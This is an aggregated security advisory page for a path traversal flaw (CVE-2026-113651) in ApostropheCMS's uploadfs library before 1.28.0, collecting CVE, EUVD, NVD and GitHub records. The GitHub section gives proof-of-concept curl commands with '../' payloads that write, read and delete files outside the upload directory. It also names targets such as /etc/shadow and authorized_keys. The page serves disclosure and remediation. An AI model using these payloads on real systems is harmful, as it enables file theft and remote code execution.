ApostropheCMS: Path traversal in uploadfs
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-113651
PublishedApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.
- Source published
- 20 Oct 2026 16:22:30 UTC
- Source modified
- 20 Oct 2026 17:20:31 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 3.3 CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
euvd · EUVD-2026-105177
PublishedApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Oct 20, 2026, 4:22:30 PM
dateUpdated: Oct 20, 2026, 5:20:31 PM
- Source published
- Oct 20, 2026, 4:22:30 PM (timezone not stated)
- Source modified
- Oct 20, 2026, 5:20:31 PM (timezone not stated)
- Observed here
- 7 Nov 2026 04:34:08 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 3.3 CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
nvd · CVE-2026-113651
PublishedApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-22
Original publisher date fields
published: 2026-10-20T17:17:35.940
lastModified: 2026-10-20T19:53:10.247
- Source published
- 20 Oct 2026 17:17:35 UTC
- Source modified
- 20 Oct 2026 19:53:10 UTC
- Observed here
- 25 Oct 2026 05:17:18 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 3.3 CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
osv · GHSA-gmfx-5g6x-rr72
Published## Summary The `uploadfs` library's local storage backend does not validate or sanitize user-supplied paths. The `prefixPath()` helper only strips double slashes (`//`) and the backend performs direct string concatenation (`uploadsPath + path`). An attacker can inject `../` sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem. --- ## Details ### Root Cause `packages/uploadfs/uploadfs.js:652-655` https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655 ```javascript function prefixPath(path) { // Resolve any double // that results from the prefix return (self.prefix + path).replace(/\/\//g, '/'); } ``` `packages/uploadfs/lib/storage/local.js` https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108 ```javascript copyIn: function(localPath, path, options, callback) { const uploadPath = uploadsPath + path; // [VULNERABLE] return copyFile(localPath, uploadPath, callback); }, streamOut: function(path, options) { return fs.createReadStream(uploadsPath + path); // [VULNERABLE] }, remove: function(path, callback) { const uploadPath = uploadsPath + path; // [VULNERABLE] fs.unlink(uploadPath, callback); ``` - `prefixPath()` does **not** normalize paths or reject `../`. - The local backend concatenates the path directly into the filesystem call. - Node.js resolves `/app/uploads/../../../tmp/pwned.txt` → `/tmp/pwned.txt`. --- ## Proof of Concept (PoC) Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk ### Build and run ```bash docker load < apostrophe-uploadfs-poc.tar docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc python3 exploit.py ``` ### Expected output ```text [UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt [READ] Status: 200| Body: You have been pwned! [+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal. ``` <img width="885" height="171" alt="Screenshot 2026-07-22 at 08 57 46" src="https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae" /> ### Manual reproduction ```bash # Write outside uploads directory curl -X POST http://localhost:3000/upload \ -F "path=../../../tmp/backdoor.txt" \ -F "file=@-;filename=backdoor.txt" <<< "malicious content" # Read it back curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt" # Delete it curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt" ``` <img width="1004" height="114" alt="Screenshot 2026-07-22 at 08 58 36" src="https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58" /> --- ## Impact | Capability | Risk | |------------|------| | **Arbitrary File Write** | Write to `/etc/cron.d/`, `.ssh/authorized_keys`, or webroot files → **Remote Code Execution** | | **Arbitrary File Read** | Exfiltrate `/etc/shadow`, application configs, database credentials | | **Arbitrary File Delete** | Destroy system or application files → **Denial of Service** | --- ## Remediation Add path containment validation inside `uploadfs` (and every storage backend) before any filesystem operation: ```javascript const path = require('path'); function safePath(base, target) { const resolved = path.resolve(base, target); if (!resolved.startsWith(path.resolve(base) + path.sep)) { throw new Error('Path traversal blocked: target is outside the intended directory'); } return resolved; } ```
- Source published
- 20 Oct 2026 18:21:59 UTC
- Source modified
- 20 Oct 2026 18:30:03 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
Publisher rating · LOW